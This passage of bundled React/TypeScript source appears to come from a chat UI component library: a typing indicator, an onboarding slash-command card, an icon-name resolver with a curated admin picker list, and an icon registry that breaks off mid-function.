typing</span>}\n        <div className={cn('inline-flex items-center justify-center gap-1', containerSizeClasses[size])}>\n          <div\n            className={cn(dotSizeClasses[size], 'rounded-full', dotClassName || 'bg-ods-text-primary')}\n            style={{\n              animation: 'dotPulse 1.4s ease-in-out infinite',\n              animationDelay: '0ms',\n            }}\n          />\n          <div\n            className={cn(dotSizeClasses[size], 'rounded-full', dotClassName || 'bg-ods-text-primary')}\n            style={{\n              animation: 'dotPulse 1.4s ease-in-out infinite',\n              animationDelay: '200ms',\n            }}\n          />\n          <div\n            className={cn(dotSizeClasses[size], 'rounded-full', dotClassName || 'bg-ods-text-primary')}\n            style={{\n              animation: 'dotPulse 1.4s ease-in-out infinite',\n              animationDelay: '400ms',\n            }}\n          />\n        </div>\n      </div>\n    );\n  },\n);\n\nChatTypingIndicator.displayName = 'ChatTypingIndicator';\n\nexport { ChatTypingIndicator };\n","'use client';\n\nimport type { MouseEvent, ReactNode } from 'react';\nimport { cn } from '../../utils/cn';\nimport { Button } from '../ui/button';\n\nexport interface MingoOnboardingCardAction {\n  /** Stable React key. */\n  id: string;\n  /** Button label (e.g. \"Recent\", \"Search\", \"Find\"). Rendered as-is. */\n  label: ReactNode;\n  /** Click handler — receives the original mouse event so callers that\n   *  also have a card-level `onClick` can `stopPropagation`. */\n  onClick: (event: MouseEvent<HTMLButtonElement>) => void;\n}\n\nexport interface MingoOnboardingCardProps {\n  /** Leading 16×16 icon rendered to the left of the title row. */\n  icon?: ReactNode;\n  /** Card title (DM Sans Medium 14px, white). Truncates on overflow. */\n  title: ReactNode;\n  /** Slash-command label rendered right-aligned in the title row (e.g. `/roadmap`). */\n  slashCommand?: ReactNode;\n  /** Optional description rendered below the title row. */\n  description?: ReactNode;\n  /** Optional row of small outline action buttons rendered below the\n   *  description (e.g. `Recent`, `Search`, `Find`). When supplied, the\n   *  card itself stays a non-interactive `<div>` — each action button\n   *  owns its own click contract. */\n  actions?: ReadonlyArray<MingoOnboardingCardAction>;\n  /** Optional click handler — when set AND `actions` is empty/undefined,\n   *  the card renders as a `<button>` with hover/focus affordances.\n   *  Ignored when `actions` is non-empty. */\n  onClick?: () => void;\n  /** Optional className appended to the root element. */\n  className?: string;\n}\n\n/**\n * MingoOnboardingCard — Figma node `7363:205939`.\n *\n * A single onboarding/slash-command row card used inside the chat\n * empty-state list. Background `ods-card` (#212121), `border-b` (#3a3a3a)\n * acts as a 1-px divider between stacked cards; the consumer is expected\n * to render multiple cards in a column inside a `rounded-md` container so\n * the bottom-most card's `last:border-b-0` keeps the visual frame clean.\n *\n * Typography mirrors Figma's `h6 - captions` (DM Sans Medium 14px,\n * letter-spacing 0). Title uses `text-ods-text-primary`, the right-rail\n * `/cmd` label and the description use `text-ods-text-secondary`.\n *\n * Optional `actions` row renders small outline-chip buttons below the\n * description (Recent / Search / Find pattern from the legacy chip-grid)\n * so each row can expose multiple affordances without leaving the card.\n */\nexport function MingoOnboardingCard({\n  icon,\n  title,\n  slashCommand,\n  description,\n  actions,\n  onClick,\n  className,\n}: MingoOnboardingCardProps) {\n  const hasActions = !!actions && actions.length > 0;\n  const isInteractive = !hasActions && !!onClick;\n\n  const body = (\n    <div className=\"flex w-full flex-col gap-[var(--spacing-system-xxs)]\">\n      <div className=\"flex w-full items-center gap-[var(--spacing-system-xxs)]\">\n        {icon ? (\n          // Icon slot — monochrome `ods-text-secondary` (≈ #888) so\n          // consumers can drop any `icons-v2-generated` glyph (they use\n          // `currentColor`) without per-card styling. Brand multi-color\n          // SVGs ignore this color.\n          <span className=\"flex size-4 shrink-0 items-center justify-center text-ods-text-secondary\">{icon}</span>\n        ) : null}\n        <span className=\"min-w-0 flex-1 truncate text-ods-text-primary text-h6\">{title}</span>\n        {slashCommand ? (\n          <span className=\"whitespace-nowrap text-ods-text-secondary text-h6\">{slashCommand}</span>\n        ) : null}\n      </div>\n      {description ? <p className=\"w-full text-ods-text-secondary text-h6\">{description}</p> : null}\n      {hasActions ? (\n        <div className=\"mt-[var(--spacing-system-xs)] flex flex-wrap items-center gap-[var(--spacing-system-xxs)]\">\n          {actions.map(action => (\n            <Button\n              key={action.id}\n              type=\"button\"\n              variant=\"outline\"\n              size=\"small\"\n              onClick={e => {\n                e.stopPropagation();\n                action.onClick(e);\n              }}\n            >\n              {action.label}\n            </Button>\n          ))}\n        </div>\n      ) : null}\n    </div>\n  );\n\n  const baseClass = cn(\n    'flex w-full items-start border-b border-ods-border bg-ods-card p-[var(--spacing-system-s)] text-left last:border-b-0',\n    isInteractive &&\n      'cursor-pointer transition-colors hover:bg-ods-bg-hover focus:outline-none focus-visible:ring-2 focus-visible:ring-inset focus-visible:ring-ods-accent',\n    className,\n  );\n\n  if (isInteractive) {\n    return (\n      <button type=\"button\" onClick={onClick} className={baseClass}>\n        {body}\n      </button>\n    );\n  }\n\n  return <div className={baseClass}>{body}</div>;\n}\n","/**\n * Resolve the empty-state onboarding-card icon from a backend\n * `SlashCommandSummary.iconName`.\n *\n * Primary keys match the production `/api/docs/commands` contract\n * (multi-platform-hub) — short, source-system-style identifiers:\n *\n *   - `clickup` → ClickUp brand glyph (mono grey)\n *   - `slack`   → Slack brand glyph (mono grey)\n *   - `hubspot` → HubSpot brand glyph (mono grey)\n *   - `github`  → GitHub brand glyph\n *   - `openframe` → OpenFrame logo\n *   - `newspaper` / `rocket` / `briefcase` / `graduation-cap`\n *     / `video` / `calendar` / `headphones` → v2 generic glyphs\n *     mapped to the closest available icon in `icons-v2-generated`\n *\n * Figma-canonical keys (`clickup-logo-grey`, `logo-openframe`,\n * `rocket-02`, …) and a handful of generic v2 fall-throughs\n * (`search`, `ticket`, `bug`, …) are kept as aliases so the\n * Storybook fixtures and any older feed entries still resolve.\n *\n * Any `iconName` NOT in the curated map below is resolved generically\n * against the entire `icons-v2-generated` set by naming convention\n * (`chart-pie` → `ChartPieIcon`, `bank` → `BankIcon`, …) — see\n * `resolveFromLibrary`. So the full icon library is supported, and the\n * curated map only exists for aliases that don't map 1:1. Keys that\n * name no real icon (and `null`) fall back to `FileIcon` so a\n * misconfigured row still renders.\n */\n\nimport { Megaphone, Bell, Info, Star, Package as PackageGlyph } from 'lucide-react';\nimport type { ComponentType, CSSProperties } from 'react';\nimport * as IconsV2 from '../../icons-v2-generated';\nimport { HeadphoneIcon } from '../../icons-v2-generated/audio-and-visual/headphone-icon';\nimport { VideoRecorderIcon } from '../../icons-v2-generated/audio-and-visual/video-recorder-icon';\nimport { ClickupLogoGreyIcon } from '../../icons-v2-generated/brand-logos/clickup-logo-grey-icon';\nimport { GithubIcon } from '../../icons-v2-generated/brand-logos/github-icon';\nimport { HubspotLogoGreyIcon } from '../../icons-v2-generated/brand-logos/hubspot-logo-grey-icon';\nimport { SlackLogoGreyIcon } from '../../icons-v2-generated/brand-logos/slack-logo-grey-icon';\nimport { BracketCurlyIcon } from '../../icons-v2-generated/coding/bracket-curly-icon';\nimport { BugIcon } from '../../icons-v2-generated/coding/bug-icon';\nimport { ChatsIcon } from '../../icons-v2-generated/communication/chats-icon';\nimport { CalendarIcon } from '../../icons-v2-generated/date-and-time/calendar-icon';\nimport { LayersIcon } from '../../icons-v2-generated/design/layers-icon';\nimport { FileIcon } from '../../icons-v2-generated/documents/file-icon';\nimport { NewspaperIcon } from '../../icons-v2-generated/documents/newspaper-icon';\nimport { SearchIcon } from '../../icons-v2-generated/interface/search-icon';\nimport { BriefcaseIcon } from '../../icons-v2-generated/map-and-travel/briefcase-icon';\nimport { CompassIcon } from '../../icons-v2-generated/map-and-travel/compass-icon';\nimport { BookIcon } from '../../icons-v2-generated/school/book-icon';\nimport { GraduationCapIcon } from '../../icons-v2-generated/school/graduation-cap-icon';\nimport { TicketIcon } from '../../icons-v2-generated/shopping/ticket-icon';\nimport { Rocket02Icon } from '../../icons-v2-generated/vehicles-and-delivery/rocket-02-icon';\nimport { FlamingoLogo } from '../../icons/flamingo-logo';\nimport { OpenFrameLogo } from '../../icons/openframe-logo';\nimport { OpenmspLogo } from '../../icons/openmsp-logo';\nimport { getIconComponent } from './icon-registry';\n\n/** Shape used by every icon registered here (matches `icons-v2-generated`). */\nexport type IconComponent = ComponentType<{\n  size?: number;\n  className?: string;\n  color?: string;\n}>;\n\n/** Wrap a brand logo (className/SVG-sized) so it satisfies the `size`-prop\n *  `IconComponent` contract — drives size via `style` (CSS wins over\n *  the logo's hardcoded width/height), keeping the logo's own brand fill. */\nfunction sizedLogo(Logo: ComponentType<{ className?: string; style?: CSSProperties }>): IconComponent {\n  return function SizedLogo({ size = 16, className }) {\n    return <Logo className={className} style={{ width: size, height: size }} />;\n  };\n}\nconst OpenmspLogoIcon = sizedLogo(OpenmspLogo);\nconst FlamingoLogoIcon = sizedLogo(FlamingoLogo);\n\n/**\n * `OpenFrameLogo` from `components/icons/` predates the v2 set and:\n *   1. hardcodes `width=\"32\" height=\"32\"` AFTER spreading `{...props}`,\n *      so we can't override via the `width` / `height` props — we drive\n *      size through `style` instead (CSS attribute wins over the HTML\n *      `width` / `height` attributes).\n *   2. defaults `lowerPathColor` to white and `upperPathColor` to\n *      `#1A1A1A` — the dark frame disappears on the chat's `ods-bg`\n *      surface. We pin both paths to `currentColor` so the glyph tints\n *      to whatever the card icon slot is (`ods-text-secondary` ≈ #888).\n */\nfunction LogoOpenframeIcon({ size = 16, className, color }: { size?: number; className?: string; color?: string }) {\n  // Forward `color` (from `icon_props.color`) like every other resolver-backed\n  // glyph; default to `currentColor` so the logo tints to its slot.\n  const tint = color ?? 'currentColor';\n  return (\n    <OpenFrameLogo\n      className={className}\n      lowerPathColor={tint}\n      upperPathColor={tint}\n      style={{ width: size, height: size }}\n    />\n  );\n}\n\n/**\n * Static registry — backend `iconName` → React component. Brand-grey\n * logos live in `icons-v2-generated/brand-logos/`; the rest are\n * monochrome v2 glyphs that inherit `currentColor` from the card slot\n * (`text-ods-text-secondary`).\n */\nexport const ICON_ALIASES: Record<string, IconComponent> = {\n  // Production `/api/docs/commands` keys (multi-platform-hub contract)\n  clickup: ClickupLogoGreyIcon,\n  slack: SlackLogoGreyIcon,\n  hubspot: HubspotLogoGreyIcon,\n  github: GithubIcon,\n  openframe: LogoOpenframeIcon,\n  newspaper: NewspaperIcon,\n  rocket: Rocket02Icon,\n  briefcase: BriefcaseIcon,\n  'graduation-cap': GraduationCapIcon,\n  video: VideoRecorderIcon,\n  headphones: HeadphoneIcon,\n  calendar: CalendarIcon,\n  compass: CompassIcon,\n\n  // Figma-canonical aliases (node 7363:205938) — kept for Storybook\n  // fixtures and any older feed entries still using the long names.\n  'clickup-logo': ClickupLogoGreyIcon,\n  'clickup-logo-grey': ClickupLogoGreyIcon,\n  'slack-logo': SlackLogoGreyIcon,\n  'slack-logo-grey': SlackLogoGreyIcon,\n  'hubspot-logo': HubspotLogoGreyIcon,\n  'hubspot-logo-grey': HubspotLogoGreyIcon,\n  'github-logo': GithubIcon,\n  'logo-openframe': LogoOpenframeIcon,\n  'rocket-01': Rocket02Icon,\n  'rocket-02': Rocket02Icon,\n\n  // Announcement-bar legacy names — folded in so resolveIcon covers them too\n  // (was the separate `renderSvgIcon` map; now ONE resolver everywhere).\n  'openframe-logo': LogoOpenframeIcon,\n  'openmsp-logo': OpenmspLogoIcon,\n  flamingo: FlamingoLogoIcon,\n  'flamingo-logo': FlamingoLogoIcon,\n  megaphone: Megaphone,\n  bell: Bell,\n  info: Info,\n  star: Star,\n  package: PackageGlyph,\n\n  // Generic v2-native keys — useful fall-throughs for slash commands that\n  // don't have a brand-specific glyph in the design.\n  search: SearchIcon,\n  ticket: TicketIcon,\n  book: BookIcon,\n  'book-open': BookIcon,\n  bug: BugIcon,\n  layers: LayersIcon,\n  file: FileIcon,\n  'file-text': FileIcon,\n  chats: ChatsIcon,\n  'message-square': ChatsIcon,\n  'message-circle': ChatsIcon,\n  'bracket-curly': BracketCurlyIcon,\n};\n\n/**\n * Generic resolution against the FULL `icons-v2-generated` set.\n *\n * Every generated icon follows one naming convention: a file named\n * `<kebab>-icon.tsx` exports a component `<PascalCase>Icon` with the\n * `{ size, className, color }` signature `IconComponent`\n * expects. So any backend `iconName` that names a real icon (e.g.\n * `chart-pie`, `bank`, `money-bill-dollar`, `piggy-bank`) resolves\n * here without a hand-maintained entry — the whole library is\n * supported, not just the curated aliases above.\n *\n * Two candidate PascalCase spellings are tried because the generator\n * is inconsistent about the `ai` token: the standalone AI glyphs\n * export `…AIIcon` (`BrainAIIcon`, `CodeAIIcon`), while the Adobe\n * Illustrator brand glyph keeps `AdobeAiIcon`. We try the literal\n * capitalization first, then the `ai → AI` variant, and take whichever\n * actually exists in the namespace (the namespace is the source of\n * truth, so we never guess wrong).\n */\nfunction resolveFromLibrary(iconName: string): IconComponent | undefined {\n  const tokens = iconName.trim().toLowerCase().replace(/_/g, '-').split('-');\n  if (tokens.some(t => t.length === 0)) return undefined;\n  const cap = (t: string) => t.charAt(0).toUpperCase() + t.slice(1);\n  const candidates = [\n    `${tokens.map(cap).join('')}Icon`,\n    `${tokens.map(t => (t === 'ai' ? 'AI' : cap(t))).join('')}Icon`,\n  ];\n  const registry = IconsV2 as unknown as Record<string, IconComponent | undefined>;\n  for (const name of candidates) {\n    const Icon = registry[name];\n    if (Icon) return Icon;\n  }\n  return undefined;\n}\n\n/**\n * THE single icon-name → component resolver for the whole app. Two variants —\n * one entry point, no duplicated resolver machinery:\n *\n *   • `'design'` (DEFAULT): the icons-v2 design set — chat chips, slash\n *      autocomplete, announcement bar, AI-agent icons, the admin picker.\n *      Order: curated `ICON_ALIASES` (brand-grey logos, tinted OpenFrame,\n *      semantic aliases) → generic `icons-v2-generated` by naming convention →\n *      `FileIcon`.\n *   • `'brand'`: the brand/social set (lucide + brand-colored logos) via the\n *      registry resolver `getIconComponent` (PascalCase-normalised) — social\n *      links, source-row CTAs.\n *\n * The two glyph SETS differ on purpose (a grey design 'slack' vs a brand-color\n * social 'slack'); this resolver is the ONE place that owns both. `getIconComponent`\n * / `getDynamicIcon` remain as the brand-variant + sized-brand helpers.\n */\nexport function resolveIcon(\n  iconName: string | null | undefined,\n  opts?: { variant?: 'design' | 'brand' },\n): IconComponent {\n  if (opts?.variant === 'brand') {\n    // Brand variant — delegate to the registry resolver (same glyph as before).\n    return getIconComponent(iconName) as IconComponent;\n  }\n  if (!iconName) return FileIcon;\n  return ICON_ALIASES[iconName] ?? resolveFromLibrary(iconName) ?? FileIcon;\n}\n\n/** One selectable icon in the admin slash-command picker. */\nexport interface IconOption {\n  /** Stored `icon_name` value — a kebab-case `icons-v2-generated` key (or a\n   *  curated alias) that `resolveIcon` displays in the chat. */\n  key: string;\n  /** Human-friendly label shown in the picker dropdown. */\n  label: string;\n}\n\n/**\n * Curated icon set offered by the admin slash-command icon picker\n * (`/admin/chat-config` → Edit slash command).\n *\n * THE PICKER AND THE CHAT SHARE ONE ICON SOURCE: every `key` here is an\n * `icons-v2-generated` name (or curated alias) that `resolveIcon`\n * renders — so whatever the admin selects always displays in the chip /\n * autocomplete, with no fallback-glyph drift. (The full library is far larger\n * and resolvable generically; this is the curated, slash-command-relevant\n * subset for a usable dropdown.) Keep keys kebab-case to match the DB\n * `chat_admin_slash_commands.icon_name` convention.\n */\nexport const ICON_OPTIONS: ReadonlyArray<IconOption> = [\n  // Brands\n  { key: 'openframe', label: 'OpenFrame' },\n  { key: 'slack', label: 'Slack' },\n  { key: 'hubspot', label: 'HubSpot' },\n  { key: 'clickup', label: 'ClickUp' },\n  { key: 'github', label: 'GitHub' },\n  { key: 'linkedin', label: 'LinkedIn' },\n  { key: 'twitter', label: 'Twitter (X)' },\n  { key: 'twitter-x', label: 'X' },\n  { key: 'facebook', label: 'Facebook' },\n  { key: 'instagram', label: 'Instagram' },\n  { key: 'youtube', label: 'YouTube' },\n  { key: 'discord', label: 'Discord' },\n  { key: 'figma', label: 'Figma' },\n  { key: 'google', label: 'Google' },\n  { key: 'apple', label: 'Apple' },\n  { key: 'windows', label: 'Windows' },\n  { key: 'android', label: 'Android' },\n  { key: 'openai-logo', label: 'OpenAI' },\n  { key: 'anthropic-logo', label: 'Anthropic' },\n  // Content & docs\n  { key: 'newspaper', label: 'Newspaper' },\n  { key: 'book', label: 'Book' },\n  { key: 'file', label: 'File' },\n  { key: 'file-text', label: 'Document' },\n  { key: 'file-code', label: 'Code file' },\n  { key: 'file-chart-bar', label: 'Report' },\n  { key: 'file-dollar', label: 'Invoice file' },\n  { key: 'folder', label: 'Folder' },\n  { key: 'folder-open', label: 'Folder open' },\n  { key: 'clipboard', label: 'Clipboard' },\n  { key: 'clipboard-list', label: 'Checklist' },\n  { key: 'clipboard-check', label: 'Clipboard check' },\n  { key: 'memo', label: 'Memo' },\n  { key: 'paperclip', label: 'Attachment' },\n  { key: 'copy-01', label: 'Copy' },\n  { key: 'files', label: 'Files' },\n  { key: 'box-archive', label: 'Box' },\n  { key: 'parcel-01', label: 'Parcel' },\n  // Media\n  { key: 'video', label: 'Video' },\n  { key: 'headphones', label: 'Podcast / audio' },\n  { key: 'podcast', label: 'Podcast' },\n  { key: 'mic', label: 'Microphone' },\n  { key: 'music-note-01', label: 'Music' },\n  { key: 'camera', label: 'Camera' },\n  { key: 'image', label: 'Image' },\n  { key: 'film-hr', label: 'Film' },\n  { key: 'play', label: 'Play' },\n  // Date & time\n  { key: 'calendar', label: 'Calendar' },\n  { key: 'calendar-check', label: 'Calendar check' },\n  { key: 'clock', label: 'Clock' },\n  { key: 'alarm', label: 'Alarm' },\n  { key: 'stopwatch', label: 'Stopwatch' },\n  { key: 'timer', label: 'Timer' },\n  { key: 'hourglass', label: 'Hourglass' },\n  // Places & business\n  { key: 'briefcase', label: 'Briefcase' },\n  { key: 'graduation-cap', label: 'Education' },\n  { key: 'building', label: 'Building' },\n  { key: 'buildings', label: 'Buildings' },\n  { key: 'hospital', label: 'Hospital' },\n  { key: 'school', label: 'School' },\n  { key: 'warehouse', label: 'Warehouse' },\n  { key: 'shop', label: 'Shop' },\n  // Communication\n  { key: 'search', label: 'Search' },\n  { key: 'chats', label: 'Chat' },\n  { key: 'message-text', label: 'Message' },\n  { key: 'messages', label: 'Messages' },\n  { key: 'email', label: 'Email' },\n  { key: 'inbox', label: 'Inbox' },\n  { key: 'send-01', label: 'Send' },\n  { key: 'at-sign', label: 'Mention' },\n  { key: 'bell', label: 'Notifications' },\n  { key: 'megaphone-01', label: 'Announcement' },\n  // Charts & analytics\n  { key: 'chart-pie', label: 'Pie chart' },\n  { key: 'chart-donut', label: 'Donut chart' },\n  { key: 'chart-bar-01-ver', label: 'Bar chart' },\n  { key: 'chart-line-up', label: 'Line chart' },\n  { key: 'trend-up', label: 'Trend up' },\n  { key: 'trend-down', label: 'Trend down' },\n  { key: 'presentation', label: 'Presentation' },\n  { key: 'analysis', label: 'Analysis' },\n  { key: 'activity', label: 'Activity' },\n  { key: 'network', label: 'Network' },\n  // Finance\n  { key: 'bank', label: 'Bank' },\n  { key: 'money-bill-dollar', label: 'Money' },\n  { key: 'money-bill', label: 'Bill' },\n  { key: 'coins', label: 'Coins' },\n  { key: 'coin', label: 'Coin' },\n  { key: 'coins-exchange-currency', label: 'Currency exchange' },\n  { key: 'piggy-bank', label: 'Savings' },\n  { key: 'wallet-01', label: 'Wallet' },\n  { key: 'credit-card', label: 'Credit card' },\n  { key: 'hand-coin', label: 'Hand coin' },\n  { key: 'dollar', label: 'Dollar' },\n  { key: 'dollar-circle', label: 'Dollar circle' },\n  { key: 'euro', label: 'Euro' },\n  { key: 'bitcoin', label: 'Bitcoin' },\n  { key: 'percent', label: 'Percent' },\n  { key: 'receipt-01', label: 'Receipt' },\n  { key: 'badge-dollar', label: 'Price badge' },\n  { key: 'sack', label: 'Money sack' },\n  // Security\n  { key: 'shield', label: 'Shield' },\n  { key: 'shield-check', label: 'Shield check' },\n  { key: 'lock', label: 'Lock' },\n  { key: 'unlock', label: 'Unlock' },\n  { key: 'key', label: 'Key' },\n  { key: 'fingerprint', label: 'Fingerprint' },\n  { key: 'scan', label: 'Scan' },\n  // People\n  { key: 'user', label: 'User' },\n  { key: 'users', label: 'Users' },\n  { key: 'users-group', label: 'User group' },\n  { key: 'user-check', label: 'User check' },\n  { key: 'id-card', label: 'ID card' },\n  { key: 'avatar-circle', label: 'Avatar' },\n  // Devices & infra\n  { key: 'laptop', label: 'Laptop' },\n  { key: 'monitor', label: 'Monitor' },\n  { key: 'mobile-phone', label: 'Phone' },\n  { key: 'hard-drive', label: 'Hard drive' },\n  { key: 'hard-drives', label: 'Storage' },\n  { key: 'cloud', label: 'Cloud' },\n  { key: 'wifi', label: 'Wi-Fi' },\n  { key: 'printer', label: 'Printer' },\n  { key: 'keyboard', label: 'Keyboard' },\n  { key: 'microchip', label: 'Chip' },\n  { key: 'microchip-ai', label: 'AI chip' },\n  { key: 'power', label: 'Power' },\n  // Code & dev\n  { key: 'bracket-curly', label: 'Code' },\n  { key: 'terminal', label: 'Terminal' },\n  { key: 'code', label: 'Code block' },\n  { key: 'bug', label: 'Bug' },\n  { key: 'package', label: 'Package' },\n  { key: 'database', label: 'Database' },\n  { key: 'browser', label: 'Browser' },\n  { key: 'puzzle-01', label: 'Plugin' },\n  { key: 'coding-branch', label: 'Branch' },\n  { key: 'coding-commit', label: 'Commit' },\n  { key: 'coding-pull-request', label: 'Pull request' },\n  { key: 'robot', label: 'Bot' },\n  { key: 'blockchain', label: 'Blockchain' },\n  // General & status\n  { key: 'layers', label: 'Layers' },\n  { key: 'settings-01', label: 'Settings' },\n  { key: 'home', label: 'Home' },\n  { key: 'eye', label: 'View' },\n  { key: 'link-01', label: 'Link' },\n  { key: 'download-01', label: 'Download' },\n  { key: 'upload-01', label: 'Upload' },\n  { key: 'trash', label: 'Delete' },\n  { key: 'share', label: 'Share' },\n  { key: 'life-buoy', label: 'Support' },\n  { key: 'rocket', label: 'Rocket' },\n  { key: 'compass', label: 'Compass' },\n  { key: 'star', label: 'Star' },\n  { key: 'crown', label: 'Crown' },\n  { key: 'gift', label: 'Gift' },\n  { key: 'ticket', label: 'Ticket' },\n  { key: 'tag', label: 'Tag' },\n  { key: 'cart', label: 'Cart' },\n  { key: 'thumbs-up', label: 'Thumbs up' },\n  { key: 'flag-01', label: 'Flag' },\n  { key: 'bookmark', label: 'Bookmark' },\n  { key: 'pin', label: 'Pin' },\n  { key: 'check-circle', label: 'Check' },\n  { key: 'check-square', label: 'Checkbox' },\n  { key: 'info-circle', label: 'Info' },\n  { key: 'info', label: 'Info alt' },\n  { key: 'question-circle', label: 'Help' },\n  { key: 'alert-triangle', label: 'Warning' },\n  { key: 'hash', label: 'Hashtag' },\n  { key: 'pencil', label: 'Edit' },\n  { key: 'lightning', label: 'Lightning' },\n  { key: 'globe-01', label: 'Globe' },\n  { key: 'scale-balanced', label: 'Balance' },\n  { key: 'certified-01', label: 'Certified' },\n];\n","/**\n * Icon registry — string `icon_name` → React component.\n *\n * SINGLE SOURCE OF TRUTH (no, really this time) for every icon-name →\n * React-component lookup across the lib + the hub. Two DB columns feed\n * in with DIFFERENT conventions:\n *\n *   - `chat_admin_slash_commands.icon_name` — kebab-case (`'rocket'`,\n *     `'hubspot'`, `'github'`, `'dollar-sign'`).\n *   - `social_platforms.icon_name` — PascalCase component names\n *     (`'LinkedInIcon'`, `'XLogo'`, `'YouTubeIcon'`, `'Github'`).\n *\n * The registry stores entries under kebab-case keys (URL/DB-friendly,\n * shell-safe, matches `lucide-react`'s own file-naming convention).\n * The PascalCase variants come in via `normalizeIconKey()`, which maps\n * known PascalCase aliases → kebab-case before the lookup runs.\n *\n * Adding a new icon: import the component below, add a `'name': Component`\n * entry in `ICON_REGISTRY`, and (if the same icon also flows in from a DB\n * column that uses PascalCase) add a `PascalName → 'name'` row to\n * `PASCAL_TO_KEBAB_ALIASES`.\n *\n * Fallback: an unknown / null icon_name resolves to `FileText` so a chip\n * never renders without an icon.\n */\n\nimport {\n  Activity,\n  Banknote,\n  Bell,\n  BookOpen,\n  Box,\n  Briefcase,\n  Calendar,\n  CheckSquare,\n  DollarSign,\n  Facebook,\n  FileText,\n  Github,\n  Globe,\n  GraduationCap,\n  Headphones,\n  Info,\n  Instagram,\n  Mail,\n  Megaphone,\n  MessageCircle,\n  MessageSquare,\n  Newspaper,\n  Package,\n  PenSquare,\n  Rocket,\n  Search,\n  Send,\n  Shield,\n  Star,\n  TableProperties,\n  TrendingUp,\n  Twitter,\n  Users,\n  Video,\n  Youtube,\n} from 'lucide-react';\nimport { createElement, type ComponentType, type ReactNode } from 'react';\n// Brand icons — lib-local exports.\nimport {\n  SlackIcon,\n  GitHubIcon,\n  ClickUpIcon,\n  HubspotIcon,\n  LinkedInIcon,\n  FacebookIcon,\n  InstagramIcon,\n  YouTubeIcon,\n  WhatsAppIcon,\n  XLogo,\n  OpenFrameLogo as RawOpenFrameLogo,\n} from '../../icons';\n\n// Wrapper so the OpenFrame logo's outer frame inherits the parent's text\n// color instead of its hardcoded default — that default is invisible on\n// dark chat surfaces. The white squares stay white (visible on dark).\n// With this, the parent's `text-ods-text-primary` propagates via\n// `currentColor` and the frame renders in the same primary text color\n// as the lucide icons next to it. Uses `createElement` (not JSX) so this\n// stays a `.ts` file. Accepts `color` for shape-compat with the registry's\n// IconComponent type, but ignores it — the logo's outer frame is wired\n// to `currentColor` via the upperPathColor pass-through.\nconst OpenFrameLogoIcon: ComponentType<{ className?: string; color?: string }> = ({ className }) =>\n  createElement(RawOpenFrameLogo, { className, upperPathColor: 'currentColor' });\n\n/**\n * Loose icon-component shape: every entry accepts `className`; `color` is\n * optional (lucide + most brand icons accept it; OpenFrameLogo doesn't,\n * but `color` is optional so passing `undefined` is a no-op). Loose enough\n * to accept both lucide's `LucideIcon` and our brand SVG components.\n */\ntype IconComponent = ComponentType<{ className?: string; color?: string }>;\n\n/**\n * The kebab-case registry. ALL lookups go through here; PascalCase\n * aliases route through `normalizeIconKey()` first.\n */\nexport const ICON_REGISTRY: Record<string, IconComponent> = {\n  // lucide-react (kebab-case)\n  activity: Activity,\n  banknote: Banknote,\n  bell: Bell,\n  'book-open': BookOpen,\n  box: Box,\n  briefcase: Briefcase,\n  calendar: Calendar,\n  'check-square': CheckSquare,\n  'dollar-sign': DollarSign,\n  // For brand-vs-lucide variants the kebab key is the BRAND (most-common\n  // social-platform intent); `'<name>-lucide'` carries the lucide outline.\n  facebook: FacebookIcon,\n  'facebook-lucide': Facebook,\n  'file-text': FileText,\n  // `'github-lucide'` is the lucide outline glyph (used by\n  // `social_platforms.icon_name='Github'`); `'github'` is the brand icon\n  // (used by `chat_admin_slash_commands.icon_name='github'`). The PascalCase\n  // alias `'Github' → 'github-lucide'` routes the lucide glyph for\n  // social-platform DB rows; `'GitHubIcon' → 'github'` keeps brand routing\n  // consistent for callers that store the PascalCase component name.\n  github: GitHubIcon,\n  'github-lucide': Github,\n  globe: Globe,\n  'graduation-cap': GraduationCap,\n  headphones: Headphones,\n  info: Info,\n  instagram: InstagramIcon,\n  'instagram-lucide': Instagram,\n  mail: Mail,\n  megaphone: Megaphone,\n  'message-circle': MessageCircle,\n  'message-square': MessageSquare,\n  newspaper: Newspaper,\n  package: Package,\n  'pen-square': PenSquare,\n  rocket: Rocket,\n  search: Search,\n  send: Send,\n  shield: Shield,\n  star: Star,\n  table: TableProperties,\n  'trending-up': TrendingUp,\n  twitter: Twitter,\n  users: Users,\n  video: Video,\n  whatsapp: WhatsAppIcon,\n  youtube: YouTubeIcon,\n  'youtube-lucide': Youtube,\n  // brand-only icons (no lucide variant in current use)\n  slack: SlackIcon,\n  clickup: ClickUpIcon,\n  hubspot: HubspotIcon,\n  linkedin: LinkedInIcon,\n  x: XLogo,\n  openframe: OpenFrameLogoIcon,\n};\n\n/**\n * PascalCase → kebab-case alias table for DB columns that store icon\n * names as component identifiers (currently `social_platforms.icon_name`).\n * Keep these in sync with the actual rows in those tables.\n */\nconst PASCAL_TO_KEBAB_ALIASES: Record<string, string> = {\n  // Lucide PascalCase names → kebab equivalents\n  Activity: 'activity',\n  Banknote: 'banknote',\n  Bell: 'bell',\n  BookOpen: 'book-open',\n  Box: 'box',\n  Briefcase: 'briefcase',\n  Calendar: 'calendar',\n  CheckSquare: 'check-square',\n  DollarSign: 'dollar-sign',\n  // Lucide PascalCase → the `-lucide` kebab variant (kebab default is the\n  // brand icon for the social-platform names below).\n  Facebook: 'facebook-lucide',\n  FileText: 'file-text',\n  Github: 'github-lucide',\n  Globe: 'globe',\n  GraduationCap: 'graduation-cap',\n  Headphones: 'headphones',\n  Info: 'info',\n  Instagram: 'instagram-lucide',\n  Mail: 'mail',\n  Megaphone: 'megaphone',\n  MessageCircle: 'message-circle',\n  MessageSquare: 'message-square',\n  Newspaper: 'newspaper',\n  Package: 'package',\n  PenSquare: 'pen-square',\n  Rocket: 'rocket',\n  Search: 'search',\n  Send: 'send',\n  Shield: 'shield',\n  Star: 'star',\n  TableProperties: 'table',\n  TrendingUp: 'trending-up',\n  Twitter: 'twitter',\n  Users: 'users',\n  Video: 'video',\n  Youtube: 'youtube-lucide',\n  // Brand-icon PascalCase exports → kebab (kebab default is the brand)\n  SlackIcon: 'slack',\n  GitHubIcon: 'github',\n  ClickUpIcon: 'clickup',\n  HubspotIcon: 'hubspot',\n  LinkedInIcon: 'linkedin',\n  FacebookIcon: 'facebook',\n  InstagramIcon: 'instagram',\n  YouTubeIcon: 'youtube',\n  WhatsAppIcon: 'whatsapp',\n  XLogo: 'x',\n  OpenFrameLogo: 'openframe',\n};\n\n/**\n * Normalize an icon key to the registry's canonical kebab-case form.\n * Accepts PascalCase variants (from `social_platforms.icon_name`-style\n * columns) and passes kebab-case keys through unchanged.\n */\nexport function normalizeIconKey(key: string): string {\n  